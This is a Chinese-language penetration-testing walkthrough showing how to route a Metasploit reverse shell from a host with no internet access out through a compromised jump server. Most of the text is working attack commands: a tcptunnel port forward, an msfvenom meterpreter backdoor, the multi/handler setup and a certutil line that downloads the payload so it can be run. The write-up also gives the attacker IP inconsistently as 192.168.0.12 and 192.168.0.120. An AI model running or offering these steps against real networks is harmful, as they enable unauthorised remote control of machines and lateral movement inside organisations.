在获得一台内网跳板机权限之后,想让相同内网其他主机上线 MSF,由于只有跳板机可以出网,如何能让其他不出网主机通过跳板机上线 MSF 呢?
今天测试的环境如下:
内网网段:192.168.142.0/24
跳板机 IP:192.168.142.110
不出网主机 IP:192.168.142.113(windows 2008 x64)
攻击机网段:192.168.0.0/24
MSF IP:192.168.0.12(可以是任意公网 IP)
接下来使用的建立 TCP 隧道的工具 tcptunnel,项目的地址:
https://github.com/vakuum/tcptunnel
下载源码,可以在与跳板机相同的系统上编译,然后将编译好的程序上传至跳板机执行。执行名:
./tcptunnel --local-port=1080 --remote-port=4444 --remote-host=192.168.0.120 --fork --buffer-size=8192 --stay-alive
命令执行成功之后,会监听 1080 端口,然后将该端口收到的所有数据转发至 192.168.0.120 的 4444 端口。
接下来使用 msfvenom 生成一个后门:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.110 lport=1080 -f exe -o shell.exe
远程连接的 IP 填跳板机的 IP,端口填 1080,然后使用 msf 监听端口 4444:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.120
LHOST => 192.168.0.120
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run -j
接下来将生成好的后门,上传至不出网主机,跳板机是个 web 服务器,将后门文件先上传至跳板机,然后在不出网主机上执行命令,从跳板机下载后门执行:
certutil.exe -urlcache -split -f http://192.168.142.110/hackable/uploads/shell.exe
然后执行 shell.exe,发现 msf 上线了:
切换到 meterpreter 查看 IP:
至此问题解决,通过跳板机建立 TCP 隧道,然后让不出网主机通过跳板机上线。